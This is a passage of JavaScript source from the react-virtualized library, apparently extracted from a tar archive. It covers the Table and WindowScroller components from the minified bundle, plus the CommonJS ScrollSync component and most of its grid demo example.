                    style: style,
                    tabIndex: headerTabIndex
                }, renderedHeader);
            }
        }, {
            key: "_createRow",
            value: function(_ref6) {
                var _this3 = this, index = _ref6.rowIndex, isScrolling = _ref6.isScrolling, key = _ref6.key, parent = _ref6.parent, style = _ref6.style, _this$props3 = this.props, children = _this$props3.children, onRowClick = _this$props3.onRowClick, onRowDoubleClick = _this$props3.onRowDoubleClick, onRowRightClick = _this$props3.onRowRightClick, onRowMouseOver = _this$props3.onRowMouseOver, onRowMouseOut = _this$props3.onRowMouseOut, rowClassName = _this$props3.rowClassName, rowGetter = _this$props3.rowGetter, rowRenderer = _this$props3.rowRenderer, rowStyle = _this$props3.rowStyle, scrollbarWidth = this.state.scrollbarWidth, rowClass = "function" == typeof rowClassName ? rowClassName({
                    index: index
                }) : rowClassName, rowStyleObject = "function" == typeof rowStyle ? rowStyle({
                    index: index
                }) : rowStyle, rowData = rowGetter({
                    index: index
                }), columns = React.Children.toArray(children).map(function(column, columnIndex) {
                    return _this3._createColumn({
                        column: column,
                        columnIndex: columnIndex,
                        isScrolling: isScrolling,
                        parent: parent,
                        rowData: rowData,
                        rowIndex: index,
                        scrollbarWidth: scrollbarWidth
                    });
                }), className = clsx("ReactVirtualized__Table__row", rowClass), flattenedStyle = _objectSpread2({}, style, {
                    height: this._getRowHeight(index),
                    overflow: "hidden",
                    paddingRight: scrollbarWidth
                }, rowStyleObject);
                return rowRenderer({
                    className: className,
                    columns: columns,
                    index: index,
                    isScrolling: isScrolling,
                    key: key,
                    onRowClick: onRowClick,
                    onRowDoubleClick: onRowDoubleClick,
                    onRowRightClick: onRowRightClick,
                    onRowMouseOver: onRowMouseOver,
                    onRowMouseOut: onRowMouseOut,
                    rowData: rowData,
                    style: flattenedStyle
                });
            }
        }, {
            key: "_getFlexStyleForColumn",
            value: function(column, argument_1) {
                var customStyle = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : {}, flexValue = "".concat(column.props.flexGrow, " ").concat(column.props.flexShrink, " ").concat(column.props.width, "px"), style = _objectSpread2({}, customStyle, {
                    flex: flexValue,
                    msFlex: flexValue,
                    WebkitFlex: flexValue
                });
                return column.props.maxWidth && (style.maxWidth = column.props.maxWidth), column.props.minWidth && (style.minWidth = column.props.minWidth), 
                style;
            }
        }, {
            key: "_getHeaderColumns",
            value: function() {
                var _this4 = this, _this$props4 = this.props, children = _this$props4.children;
                return (_this$props4.disableHeader ? [] : React.Children.toArray(children)).map(function(column, index) {
                    return _this4._createHeader({
                        column: column,
                        index: index
                    });
                });
            }
        }, {
            key: "_getRowHeight",
            value: function(rowIndex) {
                var rowHeight = this.props.rowHeight;
                return "function" == typeof rowHeight ? rowHeight({
                    index: rowIndex
                }) : rowHeight;
            }
        }, {
            key: "_onScroll",
            value: function(_ref7) {
                var clientHeight = _ref7.clientHeight, scrollHeight = _ref7.scrollHeight, scrollTop = _ref7.scrollTop;
                (0, this.props.onScroll)({
                    clientHeight: clientHeight,
                    scrollHeight: scrollHeight,
                    scrollTop: scrollTop
                });
            }
        }, {
            key: "_onSectionRendered",
            value: function(_ref8) {
                var rowOverscanStartIndex = _ref8.rowOverscanStartIndex, rowOverscanStopIndex = _ref8.rowOverscanStopIndex, rowStartIndex = _ref8.rowStartIndex, rowStopIndex = _ref8.rowStopIndex;
                (0, this.props.onRowsRendered)({
                    overscanStartIndex: rowOverscanStartIndex,
                    overscanStopIndex: rowOverscanStopIndex,
                    startIndex: rowStartIndex,
                    stopIndex: rowStopIndex
                });
            }
        }, {
            key: "_setRef",
            value: function(ref) {
                this.Grid = ref;
            }
        }, {
            key: "_setScrollbarWidth",
            value: function() {
                var scrollbarWidth = this.getScrollbarWidth();
                this.setState({
                    scrollbarWidth: scrollbarWidth
                });
            }
        } ]), Table;
    }();
    _defineProperty(Table, "propTypes", {
        "aria-label": propTypes.string,
        "aria-labelledby": propTypes.string,
        autoHeight: propTypes.bool,
        children: function(props) {
            for (var children = React.Children.toArray(props.children), i = 0; i < children.length; i++) {
                var childType = children[i].type;
                if (childType !== Column && !(childType.prototype instanceof Column)) return new Error("Table only accepts children of type Column");
            }
        },
        className: propTypes.string,
        disableHeader: propTypes.bool,
        estimatedRowSize: propTypes.number.isRequired,
        gridClassName: propTypes.string,
        gridStyle: propTypes.object,
        headerClassName: propTypes.string,
        headerHeight: propTypes.number.isRequired,
        headerRowRenderer: propTypes.func,
        headerStyle: propTypes.object,
        height: propTypes.number.isRequired,
        id: propTypes.string,
        noRowsRenderer: propTypes.func,
        onColumnClick: propTypes.func,
        onHeaderClick: propTypes.func,
        onRowClick: propTypes.func,
        onRowDoubleClick: propTypes.func,
        onRowMouseOut: propTypes.func,
        onRowMouseOver: propTypes.func,
        onRowRightClick: propTypes.func,
        onRowsRendered: propTypes.func,
        onScroll: propTypes.func.isRequired,
        overscanIndicesGetter: propTypes.func.isRequired,
        overscanRowCount: propTypes.number.isRequired,
        rowClassName: propTypes.oneOfType([ propTypes.string, propTypes.func ]),
        rowGetter: propTypes.func.isRequired,
        rowHeight: propTypes.oneOfType([ propTypes.number, propTypes.func ]).isRequired,
        rowCount: propTypes.number.isRequired,
        rowRenderer: propTypes.func,
        rowStyle: propTypes.oneOfType([ propTypes.object, propTypes.func ]).isRequired,
        scrollToAlignment: propTypes.oneOf([ "auto", "end", "start", "center" ]).isRequired,
        scrollToIndex: propTypes.number.isRequired,
        scrollTop: propTypes.number,
        sort: propTypes.func,
        sortBy: propTypes.string,
        sortDirection: propTypes.oneOf([ SortDirection.ASC, SortDirection.DESC ]),
        style: propTypes.object,
        tabIndex: propTypes.number,
        width: propTypes.number.isRequired
    }), _defineProperty(Table, "defaultProps", {
        disableHeader: !1,
        estimatedRowSize: 30,
        headerHeight: 0,
        headerStyle: {},
        noRowsRenderer: function() {
            return null;
        },
        onRowsRendered: function() {
            return null;
        },
        onScroll: function() {
            return null;
        },
        overscanIndicesGetter: defaultOverscanIndicesGetter$1,
        overscanRowCount: 10,
        rowRenderer: defaultRowRenderer,
        headerRowRenderer: defaultHeaderRowRenderer,
        rowStyle: {},
        scrollToAlignment: "auto",
        scrollToIndex: -1,
        style: {}
    });
    var mountedInstances = [], originalBodyPointerEvents = null, disablePointerEventsTimeoutId = null;
    function enablePointerEventsIfDisabled() {
        disablePointerEventsTimeoutId && (disablePointerEventsTimeoutId = null, document.body && null != originalBodyPointerEvents && (document.body.style.pointerEvents = originalBodyPointerEvents), 
        originalBodyPointerEvents = null);
    }
    function enablePointerEventsAfterDelayCallback() {
        enablePointerEventsIfDisabled(), mountedInstances.forEach(function(instance) {
            return instance.__resetIsScrolling();
        });
    }
    function onScrollWindow(event) {
        event.currentTarget === window && null == originalBodyPointerEvents && document.body && (originalBodyPointerEvents = document.body.style.pointerEvents, 
        document.body.style.pointerEvents = "none"), function() {
            disablePointerEventsTimeoutId && cancelAnimationTimeout(disablePointerEventsTimeoutId);
            var maximumTimeout = 0;
            mountedInstances.forEach(function(instance) {
                maximumTimeout = Math.max(maximumTimeout, instance.props.scrollingResetTimeInterval);
            }), disablePointerEventsTimeoutId = requestAnimationTimeout(enablePointerEventsAfterDelayCallback, maximumTimeout);
        }(), mountedInstances.forEach(function(instance) {
            instance.props.scrollElement === event.currentTarget && instance.__handleWindowScrollEvent();
        });
    }
    function registerScrollListener(component, element) {
        mountedInstances.some(function(instance) {
            return instance.props.scrollElement === element;
        }) || element.addEventListener("scroll", onScrollWindow), mountedInstances.push(component);
    }
    function unregisterScrollListener(component, element) {
        (mountedInstances = mountedInstances.filter(function(instance) {
            return instance !== component;
        })).length || (element.removeEventListener("scroll", onScrollWindow), disablePointerEventsTimeoutId && (cancelAnimationTimeout(disablePointerEventsTimeoutId), 
        enablePointerEventsIfDisabled()));
    }
    var isWindow = function(element) {
        return element === window;
    }, getBoundingBox = function(element) {
        return element.getBoundingClientRect();
    };
    function getDimensions(scrollElement, props) {
        if (scrollElement) {
            if (isWindow(scrollElement)) {
                var _window = window, innerHeight = _window.innerHeight, innerWidth = _window.innerWidth;
                return {
                    height: "number" == typeof innerHeight ? innerHeight : 0,
                    width: "number" == typeof innerWidth ? innerWidth : 0
                };
            }
            return getBoundingBox(scrollElement);
        }
        return {
            height: props.serverHeight,
            width: props.serverWidth
        };
    }
    function getScrollOffset(element) {
        return isWindow(element) && document.documentElement ? {
            top: "scrollY" in window ? window.scrollY : document.documentElement.scrollTop,
            left: "scrollX" in window ? window.scrollX : document.documentElement.scrollLeft
        } : {
            top: element.scrollTop,
            left: element.scrollLeft
        };
    }
    var getWindow = function() {
        return "undefined" != typeof window ? window : void 0;
    }, WindowScroller = function() {
        function WindowScroller() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, WindowScroller);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(WindowScroller)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "_window", getWindow()), 
            _defineProperty(_assertThisInitialized(_this), "_isMounted", !1), _defineProperty(_assertThisInitialized(_this), "_positionFromTop", 0), 
            _defineProperty(_assertThisInitialized(_this), "_positionFromLeft", 0), _defineProperty(_assertThisInitialized(_this), "_detectElementResize", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_child", void 0), _defineProperty(_assertThisInitialized(_this), "state", _objectSpread2({}, getDimensions(_this.props.scrollElement, _this.props), {
                isScrolling: !1,
                scrollLeft: 0,
                scrollTop: 0
            })), _defineProperty(_assertThisInitialized(_this), "_registerChild", function(element) {
                !element || element instanceof Element || console.warn("WindowScroller registerChild expects to be passed Element or null"), 
                _this._child = element, _this.updatePosition();
            }), _defineProperty(_assertThisInitialized(_this), "_onChildScroll", function(_ref) {
                var scrollTop = _ref.scrollTop;
                if (_this.state.scrollTop !== scrollTop) {
                    var scrollElement = _this.props.scrollElement;
                    scrollElement && ("function" == typeof scrollElement.scrollTo ? scrollElement.scrollTo(0, scrollTop + _this._positionFromTop) : scrollElement.scrollTop = scrollTop + _this._positionFromTop);
                }
            }), _defineProperty(_assertThisInitialized(_this), "_registerResizeListener", function(element) {
                element === window ? window.addEventListener("resize", _this._onResize, !1) : _this._detectElementResize.addResizeListener(element, _this._onResize);
            }), _defineProperty(_assertThisInitialized(_this), "_unregisterResizeListener", function(element) {
                element === window ? window.removeEventListener("resize", _this._onResize, !1) : element && _this._detectElementResize.removeResizeListener(element, _this._onResize);
            }), _defineProperty(_assertThisInitialized(_this), "_onResize", function() {
                _this.updatePosition();
            }), _defineProperty(_assertThisInitialized(_this), "__handleWindowScrollEvent", function() {
                if (_this._isMounted) {
                    var onScroll = _this.props.onScroll, scrollElement = _this.props.scrollElement;
                    if (scrollElement) {
                        var scrollOffset = getScrollOffset(scrollElement), scrollLeft = Math.max(0, scrollOffset.left - _this._positionFromLeft), scrollTop = Math.max(0, scrollOffset.top - _this._positionFromTop);
                        _this.setState({
                            isScrolling: !0,
                            scrollLeft: scrollLeft,
                            scrollTop: scrollTop
                        }), onScroll({
                            scrollLeft: scrollLeft,
                            scrollTop: scrollTop
                        });
                    }
                }
            }), _defineProperty(_assertThisInitialized(_this), "__resetIsScrolling", function() {
                _this.setState({
                    isScrolling: !1
                });
            }), _this;
        }
        return _inherits(WindowScroller, React.PureComponent), _createClass(WindowScroller, [ {
            key: "updatePosition",
            value: function(argument_0) {
                var scrollElement = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : this.props.scrollElement, onResize = this.props.onResize, _this$state = this.state, height = _this$state.height, width = _this$state.width, thisNode = this._child || ReactDOM.findDOMNode(this);
                if (thisNode instanceof Element && scrollElement) {
                    var offset = function(element, container) {
                        if (isWindow(container) && document.documentElement) {
                            var containerElement = document.documentElement, elementRect = getBoundingBox(element), containerRect = getBoundingBox(containerElement);
                            return {
                                top: elementRect.top - containerRect.top,
                                left: elementRect.left - containerRect.left
                            };
                        }
                        var scrollOffset = getScrollOffset(container), _elementRect = getBoundingBox(element), _containerRect = getBoundingBox(container);
                        return {
                            top: _elementRect.top + scrollOffset.top - _containerRect.top,
                            left: _elementRect.left + scrollOffset.left - _containerRect.left
                        };
                    }(thisNode, scrollElement);
                    this._positionFromTop = offset.top, this._positionFromLeft = offset.left;
                }
                var dimensions = getDimensions(scrollElement, this.props);
                height === dimensions.height && width === dimensions.width || (this.setState({
                    height: dimensions.height,
                    width: dimensions.width
                }), onResize({
                    height: dimensions.height,
                    width: dimensions.width
                }));
            }
        }, {
            key: "componentDidMount",
            value: function() {
                var scrollElement = this.props.scrollElement;
                this._detectElementResize = createDetectElementResize(), this.updatePosition(scrollElement), 
                scrollElement && (registerScrollListener(this, scrollElement), this._registerResizeListener(scrollElement)), 
                this._isMounted = !0;
            }
        }, {
            key: "componentDidUpdate",
            value: function(prevProps) {
                var scrollElement = this.props.scrollElement, prevScrollElement = prevProps.scrollElement;
                prevScrollElement !== scrollElement && null != prevScrollElement && null != scrollElement && (this.updatePosition(scrollElement), 
                unregisterScrollListener(this, prevScrollElement), registerScrollListener(this, scrollElement), 
                this._unregisterResizeListener(prevScrollElement), this._registerResizeListener(scrollElement));
            }
        }, {
            key: "componentWillUnmount",
            value: function() {
                var scrollElement = this.props.scrollElement;
                scrollElement && (unregisterScrollListener(this, scrollElement), this._unregisterResizeListener(scrollElement)), 
                this._isMounted = !1;
            }
        }, {
            key: "render",
            value: function() {
                var children = this.props.children, _this$state2 = this.state, isScrolling = _this$state2.isScrolling, scrollTop = _this$state2.scrollTop, scrollLeft = _this$state2.scrollLeft, height = _this$state2.height, width = _this$state2.width;
                return children({
                    onChildScroll: this._onChildScroll,
                    registerChild: this._registerChild,
                    height: height,
                    isScrolling: isScrolling,
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop,
                    width: width
                });
            }
        } ]), WindowScroller;
    }();
    _defineProperty(WindowScroller, "defaultProps", {
        onResize: function() {},
        onScroll: function() {},
        scrollingResetTimeInterval: 150,
        scrollElement: getWindow(),
        serverHeight: 0,
        serverWidth: 0
    }), exports.ArrowKeyStepper = ArrowKeyStepper, exports.AutoSizer = AutoSizer, exports.CellMeasurer = CellMeasurer, 
    exports.CellMeasurerCache = CellMeasurerCache, exports.Collection = Collection, 
    exports.Column = Column, exports.ColumnSizer = ColumnSizer, exports.Grid = Grid, 
    exports.InfiniteLoader = InfiniteLoader, exports.List = List, exports.Masonry = Masonry, 
    exports.MultiGrid = MultiGrid, exports.ScrollSync = ScrollSync, exports.SortDirection = SortDirection, 
    exports.SortIndicator = SortIndicator, exports.Table = Table, exports.WindowScroller = WindowScroller, 
    exports.accessibilityOverscanIndicesGetter = defaultOverscanIndicesGetter$1, exports.createMasonryCellPositioner = function(_ref) {
        var columnHeights, cellMeasurerCache = _ref.cellMeasurerCache, columnCount = _ref.columnCount, columnWidth = _ref.columnWidth, _ref$spacer = _ref.spacer, spacer = void 0 === _ref$spacer ? 0 : _ref$spacer;
        function cellPositioner(index) {
            for (var columnIndex = 0, i = 1; i < columnHeights.length; i++) columnHeights[i] < columnHeights[columnIndex] && (columnIndex = i);
            var left = columnIndex * (columnWidth + spacer), top = columnHeights[columnIndex] || 0;
            return columnHeights[columnIndex] = top + cellMeasurerCache.getHeight(index) + spacer, 
            {
                left: left,
                top: top
            };
        }
        function initOrResetDerivedValues() {
            columnHeights = [];
            for (var i = 0; i < columnCount; i++) columnHeights[i] = 0;
        }
        return initOrResetDerivedValues(), cellPositioner.reset = function(params) {
            columnCount = params.columnCount, columnWidth = params.columnWidth, spacer = params.spacer, 
            initOrResetDerivedValues();
        }, cellPositioner;
    }, exports.createTableMultiSort = function(sortCallback) {
        var _ref = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {}, defaultSortBy = _ref.defaultSortBy, _ref$defaultSortDirec = _ref.defaultSortDirection, defaultSortDirection = void 0 === _ref$defaultSortDirec ? {} : _ref$defaultSortDirec;
        if (!sortCallback) throw Error('Required parameter "sortCallback" not specified');
        var sortBy = defaultSortBy || [], sortDirection = {};
        return sortBy.forEach(function(dataKey) {
            sortDirection[dataKey] = void 0 !== defaultSortDirection[dataKey] ? defaultSortDirection[dataKey] : "ASC";
        }), {
            sort: function(_ref2) {
                var defaultSortDirection = _ref2.defaultSortDirection, event = _ref2.event, dataKey = _ref2.sortBy;
                if (event.shiftKey) void 0 !== sortDirection[dataKey] ? sortDirection[dataKey] = "ASC" === sortDirection[dataKey] ? "DESC" : "ASC" : (sortDirection[dataKey] = defaultSortDirection, 
                sortBy.push(dataKey)); else if (event.ctrlKey || event.metaKey) {
                    var index = sortBy.indexOf(dataKey);
                    0 <= index && (sortBy.splice(index, 1), delete sortDirection[dataKey]);
                } else {
                    sortBy.length = 0, sortBy.push(dataKey), Object.keys(sortDirection).forEach(function(key) {
                        key !== dataKey && delete sortDirection[key];
                    }), void 0 !== sortDirection[dataKey] ? sortDirection[dataKey] = "ASC" === sortDirection[dataKey] ? "DESC" : "ASC" : sortDirection[dataKey] = defaultSortDirection;
                }
                sortCallback({
                    sortBy: sortBy,
                    sortDirection: sortDirection
                });
            },
            sortBy: sortBy,
            sortDirection: sortDirection
        };
    }, exports.defaultCellRangeRenderer = defaultCellRangeRenderer, exports.defaultOverscanIndicesGetter = defaultOverscanIndicesGetter, 
    exports.defaultTableCellDataGetter = defaultCellDataGetter, exports.defaultTableCellRenderer = defaultCellRenderer, 
    exports.defaultTableHeaderRenderer = defaultHeaderRenderer, exports.defaultTableHeaderRowRenderer = defaultHeaderRowRenderer, 
    exports.defaultTableRowRenderer = defaultRowRenderer, Object.defineProperty(exports, "__esModule", {
        value: !0
    });
});
commonjs/ScrollSync/ScrollSync.js000064400000006646151677406000013137 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

/**
 * HOC that simplifies the process of synchronizing scrolling between two or more virtualized components.
 */
var ScrollSync =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ScrollSync, _React$PureComponent);

  function ScrollSync(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, ScrollSync);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(ScrollSync).call(this, props, context));
    _this.state = {
      clientHeight: 0,
      clientWidth: 0,
      scrollHeight: 0,
      scrollLeft: 0,
      scrollTop: 0,
      scrollWidth: 0
    };
    _this._onScroll = _this._onScroll.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(ScrollSync, [{
    key: "render",
    value: function render() {
      var children = this.props.children;
      var _this$state = this.state,
          clientHeight = _this$state.clientHeight,
          clientWidth = _this$state.clientWidth,
          scrollHeight = _this$state.scrollHeight,
          scrollLeft = _this$state.scrollLeft,
          scrollTop = _this$state.scrollTop,
          scrollWidth = _this$state.scrollWidth;
      return children({
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        onScroll: this._onScroll,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }
  }, {
    key: "_onScroll",
    value: function _onScroll(_ref) {
      var clientHeight = _ref.clientHeight,
          clientWidth = _ref.clientWidth,
          scrollHeight = _ref.scrollHeight,
          scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          scrollWidth = _ref.scrollWidth;
      this.setState({
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }
  }]);
  return ScrollSync;
}(React.PureComponent);

exports["default"] = ScrollSync;
ScrollSync.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering 2 or more virtualized components.
   * This function should implement the following signature:
   * ({ onScroll, scrollLeft, scrollTop }) => PropTypes.element
   */
  children: _propTypes["default"].func.isRequired
} : {};commonjs/ScrollSync/index.js000064400000000724151677406000012142 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "ScrollSync", {
  enumerable: true,
  get: function get() {
    return _ScrollSync["default"];
  }
});
exports["default"] = void 0;

var _ScrollSync = _interopRequireDefault(require("./ScrollSync"));

var _default = _ScrollSync["default"];
exports["default"] = _default;commonjs/ScrollSync/ScrollSync.example.js000064400000026020151677406000014555 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _Grid = _interopRequireDefault(require("../Grid"));

var _ScrollSync = _interopRequireDefault(require("./ScrollSync"));

var _clsx = _interopRequireDefault(require("clsx"));

var _ScrollSyncExample = _interopRequireDefault(require("./ScrollSync.example.css"));

var _scrollbarSize = _interopRequireDefault(require("dom-helpers/scrollbarSize"));

var LEFT_COLOR_FROM = hexToRgb('#471061');
var LEFT_COLOR_TO = hexToRgb('#BC3959');
var TOP_COLOR_FROM = hexToRgb('#000000');
var TOP_COLOR_TO = hexToRgb('#333333');

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, GridExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(GridExample).call(this, props, context));
    _this.state = {
      columnWidth: 75,
      columnCount: 50,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 5,
      rowHeight: 40,
      rowCount: 100
    };
    _this._renderBodyCell = _this._renderBodyCell.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderHeaderCell = _this._renderHeaderCell.bind((0, _assertThisInitialized2["default"])(_this));
    _this._renderLeftSideCell = _this._renderLeftSideCell.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnCount = _this$state.columnCount,
          columnWidth = _this$state.columnWidth,
          height = _this$state.height,
          overscanColumnCount = _this$state.overscanColumnCount,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "ScrollSync",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ScrollSync/ScrollSync.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ScrollSync.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "High order component that simplifies the process of synchronizing scrolling between two or more virtualized components."), React.createElement(_ContentBox.ContentBoxParagraph, null, "This example shows two ", React.createElement("code", null, "Grid"), "s and one ", React.createElement("code", null, "List"), ' ', "configured to mimic a spreadsheet with a fixed header and first column. It also shows how a scroll callback can be used to control UI properties such as background color."), React.createElement(_ScrollSync["default"], null, function (_ref) {
        var clientHeight = _ref.clientHeight,
            clientWidth = _ref.clientWidth,
            onScroll = _ref.onScroll,
            scrollHeight = _ref.scrollHeight,
            scrollLeft = _ref.scrollLeft,
            scrollTop = _ref.scrollTop,
            scrollWidth = _ref.scrollWidth;
        var x = scrollLeft / (scrollWidth - clientWidth);
        var y = scrollTop / (scrollHeight - clientHeight);
        var leftBackgroundColor = mixColors(LEFT_COLOR_FROM, LEFT_COLOR_TO, y);
        var leftColor = '#ffffff';
        var topBackgroundColor = mixColors(TOP_COLOR_FROM, TOP_COLOR_TO, x);
        var topColor = '#ffffff';
        var middleBackgroundColor = mixColors(leftBackgroundColor, topBackgroundColor, 0.5);
        var middleColor = '#ffffff';
        return React.createElement("div", {
          className: _ScrollSyncExample["default"].GridRow
        }, React.createElement("div", {
          className: _ScrollSyncExample["default"].LeftSideGridContainer,
          style: {
            position: 'absolute',
            left: 0,
            top: 0,
            color: leftColor,
            backgroundColor: "rgb(".concat(topBackgroundColor.r, ",").concat(topBackgroundColor.g, ",").concat(topBackgroundColor.b, ")")
          }
        }, React.createElement(_Grid["default"], {
          cellRenderer: _this2._renderLeftHeaderCell,
          className: _ScrollSyncExample["default"].HeaderGrid,
          width: columnWidth,
          height: rowHeight,
          rowHeight: rowHeight,
          columnWidth: columnWidth,
          rowCount: 1,
          columnCount: 1
        })), React.createElement("div", {
          className: _ScrollSyncExample["default"].LeftSideGridContainer,
          style: {
            position: 'absolute',
            left: 0,
            top: rowHeight,
            color: leftColor,
            backgroundColor: "rgb(".concat(leftBackgroundColor.r, ",").concat(leftBackgroundColor.g, ",").concat(leftBackgroundColor.b, ")")
          }
        }, React.createElement(_Grid["default"], {
          overscanColumnCount: overscanColumnCount,
          overscanRowCount: overscanRowCount,
          cellRenderer: _this2._renderLeftSideCell,
          columnWidth: columnWidth,
          columnCount: 1,
          className: _ScrollSyncExample["default"].LeftSideGrid,
          height: height - (0, _scrollbarSize["default"])(),
          rowHeight: rowHeight,
          rowCount: rowCount,
          scrollTop: scrollTop,
          width: columnWidth
        })), React.createElement("div", {
          className: _ScrollSyncExample["default"].GridColumn
        }, React.createElement(_AutoSizer["default"], {
          disableHeight: true
        }, function (_ref2) {
          var width = _ref2.width;
          return React.createElement("div", null, React.createElement("div", {
            style: {
              backgroundColor: "rgb(".concat(topBackgroundColor.r, ",").concat(topBackgroundColor.g, ",").concat(topBackgroundColor.b, ")"),
              color: topColor,
              height: rowHeight,
              width: width - (0, _scrollbarSize["default"])()
            }
          }, React.createElement(_Grid["default"], {
            className: _ScrollSyncExample["default"].HeaderGrid,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: rowHeight,
            overscanColumnCount: overscanColumnCount,
            cellRenderer: _this2._renderHeaderCell,
            rowHeight: rowHeight,
            rowCount: 1,
            scrollLeft: scrollLeft,
            width: width - (0, _scrollbarSize["default"])()
          })), React.createElement("div", {
            style: {
              backgroundColor: "rgb(".concat(middleBackgroundColor.r, ",").concat(middleBackgroundColor.g, ",").concat(middleBackgroundColor.b, ")"),
              color: middleColor,
              height: height,
              width: width
            }
          }, React.createElement(_Grid["default"], {
            className: _ScrollSyncExample["default"].BodyGrid,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: height,
            onScroll: onScroll,
            overscanColumnCount: overscanColumnCount,
            overscanRowCount: overscanRowCount,
            cellRenderer: _this2._renderBodyCell,
            rowHeight: rowHeight,
            rowCount: rowCount,
            width: width
          })));
        })));
      }));
    }
  }, {
    key: "_renderBodyCell",
    value: function _renderBodyCell(_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          style = _ref3.style;

      if (columnIndex < 1) {
        return;
      }

      return this._renderLeftSideCell({
        columnIndex: columnIndex,
        key: key,
        rowIndex: rowIndex,
        style: style
      });
    }
  }, {
    key: "_renderHeaderCell",
    value: function _renderHeaderCell(_ref4) {
      var columnIndex = _ref4.columnIndex,
          key = _ref4.key,
          rowIndex = _ref4.rowIndex,
          style = _ref4.style;

      if (columnIndex < 1) {
        return;
      }

      return this._renderLeftHeaderCell({
        columnIndex: columnIndex,
        key: key,
        rowIndex: rowIndex,
        style: style
      });
    }
  }, {
    key: "_renderLeftHeaderCell",
    value: function _renderLeftHeaderCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          key = _ref5.key,
          style = _ref5.style;
      return React.createElement("div", {
        className: _ScrollSyncExample["default"].headerCell,
        key: key,
        style: style
      }, "C".concat(columnIndex));
    }
  }, {
    key: "_renderLeftSideCell",
    value: function _renderLeftSideCell(_ref6) {
      var columnIndex = _ref6.columnIndex,
          key = _ref6.key,
          rowIndex = _ref6.rowIndex,
          style = _ref6.style;
      var rowClass = rowIndex % 2 === 0 ? columnIndex % 2 === 0 ? _ScrollSyncExample["default"].evenRow : _ScrollSyncExample["default"].oddRow : columnIndex % 2 !== 0 ? _ScrollSyncExample["default"].evenRow : _ScrollSyncExample["default"].oddRow;
      var classNames = (0, _clsx["default"])(rowClass, _ScrollSyncExample["default"].cell);
      return React.createElement("div", {
        className: classNames,
        key: key,
        style: style
      }, "R".concat(rowIndex, ", C").concat(columnIndex));
    }
